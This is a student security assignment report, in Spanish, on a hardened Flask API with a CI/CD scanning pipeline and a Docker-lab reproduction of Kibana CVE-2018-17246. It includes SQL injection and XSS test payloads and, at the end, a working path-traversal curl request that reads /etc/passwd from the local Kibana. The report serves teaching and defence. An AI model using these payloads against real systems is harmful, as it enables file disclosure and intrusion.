
HDU IS Work 1 - API REST segura (Flask) con CI/CD (pytest + bandit + pip-audit) y análisis de CVE-2018-17246
API REST segura en Python/Flask, CI/CD mediante GitHub Actions (SAST + SCA + pruebas automatizadas), y un análisis completo de una CVE real reproducida en un entorno Docker (Kibana LFI, CVE-2018-17246).
Nombre: Guhaotian Número HDU: 23320209
https://github.com/ght657/work1-secure-api (público)POST /auth/login — emite un JWT firmado tras verificar el hash de la contraseña.GET /api/data — protegido por JWT (token Bearer); devuelve registros del usuario actual.GET /api/users/search?q= — endpoint de lectura protegido con consulta SQL parametrizada.POST /api/posts (protegido por JWT) que demuestra la protección contra XSS almacenado / escape de salida.Archivo de workflow: .github/workflows/ci.yml, se ejecuta en cada push a main.
| Job | Herramientas | Qué hace | Evidencia |
|---|---|---|---|
test | pytest 8 | ejecuta la suite de 11 pruebas | evidence/07_pytest_run.png |
sast | Bandit 1.8.0 | análisis estático de app/, tests/ (informe JSON subido como artefacto) | evidence/08_bandit_report.png |
sca | pip-audit 2.8.0 | auditoría de dependencias (informe JSON subido como artefacto) | evidence/09_pip_audit_report.png |
El pipeline falla si alguna prueba falla o si queda algún hallazgo de SAST/SCA, por lo que un pipeline en rojo significa que se debe subir una corrección antes del merge.
11 pruebas, todas pasando (pytest -q):
tests/test_api.py::test_login_success_issues_token PASSED
tests/test_api.py::test_login_wrong_password_rejected PASSED
tests/test_api.py::test_login_unknown_user_same_error_as_wrong_password PASSED
tests/test_api.py::test_passwords_stored_as_bcrypt_hashes PASSED
tests/test_api.py::test_data_endpoint_denied_without_token PASSED
tests/test_api.py::test_data_endpoint_denied_with_invalid_token PASSED
tests/test_api.py::test_data_endpoint_works_with_valid_token PASSED
tests/test_api.py::test_create_post_requires_token PASSED
tests/test_api.py::test_sqli_payload_treated_as_data PASSED
tests/test_api.py::test_sqli_union_payload_does_not_dump_table PASSED
tests/test_api.py::test_xss_payload_is_escaped_in_response PASSED
11 passed in 2.20s
El código de la aplicación es nuestro, por lo que una primera ejecución naturalmente no contiene ruido de terceros. Resultado: 0 issues:
Run started:...
Test results:
No issues identified.
Code scanned:
Total lines of code: 228
Total lines skipped (#nosec): 0
Total potential issues skipped due to specifically being disabled (e.g., #nosec BXXX): 0
pip-audit enumera todas las dependencias con CVE conocidos; la ejecución inicial encontró:
Found 19 known vulnerabilities in 3 packages
Name Version ID Fix Versions
------------- ------- ----------------- ------------
flask 3.0.3 PYSEC-2026-2151 3.1.3
pyjwt 2.9.0 PYSEC-2026-120 2.12.0
pyjwt 2.9.0 PYSEC-2025-183 ...
pyjwt 2.9.0 ... up to 2.15.0
python-dotenv 1.0.1 PYSEC-2026-2270 1.2.2
19 entradas en total (Flask, PyJWT ×17, python-dotenv). Actualicé a las versiones corregidas:
Flask 3.1.3, PyJWT 2.15.0 y eliminé python-dotenv (solo un helper de configuración opcional —
la versión corregida 1.2.2 requiere Python ≥ 3.10 mientras que el venv de auditoría es 3.9).
Después de la corrección:
No known vulnerabilities found
(evidence/08b_bandit_after_fix.png, evidence/09b_pip_audit_after_fix.png)
La API se probó contra los ataques clásicos con curl. Capturas de pantalla en evidence/:
POST /auth/login con username: "admin'--" devuelve 401 Invalid credentials —
la consulta utiliza una consulta parametrizada del ORM contra las credenciales hasheadas, la carga útil inyectada
permanece como dato y nunca se convierte en SQL.
GET /api/users/search?q=%' OR '1'='1 → la cadena se vincula como parámetro a
SELECT ... WHERE username LIKE ? (comodines escapados), por lo que no coincide con nada y la API
devuelve una lista vacía — sin error y sin volcado de toda la tabla.
POST /api/posts con title: "<script>alert('xss')</script>"; el servidor almacena la
cadena sin procesar pero la escapa en la salida (markupsafe.escape + jsonify), por lo que la carga útil devuelta
es <script>alert('xss')</script> — un navegador muestra el texto, no lo
ejecuta. (La reproducción con un renderizado en navegador se muestra en evidence/06_xss_readback.png.)
401 {"error": "Missing or malformed Authorization header"} (evidence/03_data_denied.png)200 + datos protegidos (evidence/04_data_with_token.png)401 (verificación de firma con HS256)401 (expiración de 60 minutos)Authorization: Bearer <token>
(evidence/10_jwt_structure.png muestra la estructura de 3 partes).Las contraseñas se almacenan como hashes bcrypt (12 rondas) y nunca son devueltas por ningún endpoint
(prueba test_passwords_stored_as_bcrypt_hashes).
/etc/passwd) y — dado que la ruta vulnerable requiere el archivo como
módulo JS — si se puede alcanzar una ruta escribible (p. ej. mediante otra falla o un
archivo temporal generado), el proceso de Kibana puede ejecutar JS controlado por el atacante.GET /api/console/api_server?apis=../../../../../../etc/passwd — el parámetro apis
se pasa a require() tras solo una comprobación simple de ruta, lo que permite que las secuencias ..
escapen del directorio api del lado del servidor y lean/ejecuten archivos arbitrarios.Uso la imagen pública de vulhub (ya publicada, verificada como vulnerable):
vulhub/kibana:5.6.12 + vulhub/elasticsearch:5.6.16 — véase
CVE-2018-17246/docker-compose.yml (carpeta con el mismo nombre en este repositorio).
cd CVE-2018-17246
docker compose up -d # kibana 5.6.12 + elasticsearch 5.6.16, UI on :5601
Paso 1 — activar el LFI (la API de Console acepta una ruta apis que se resuelve como un archivo):
curl -i "http://localhost:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd"
La respuesta es 500 (el archivo no es un módulo JS válido) pero el contenido del archivo aparece en
el registro del servidor — Kibana lee el archivo e intenta require():
docker compose logs kibana | grep -i "passwd\|root:x"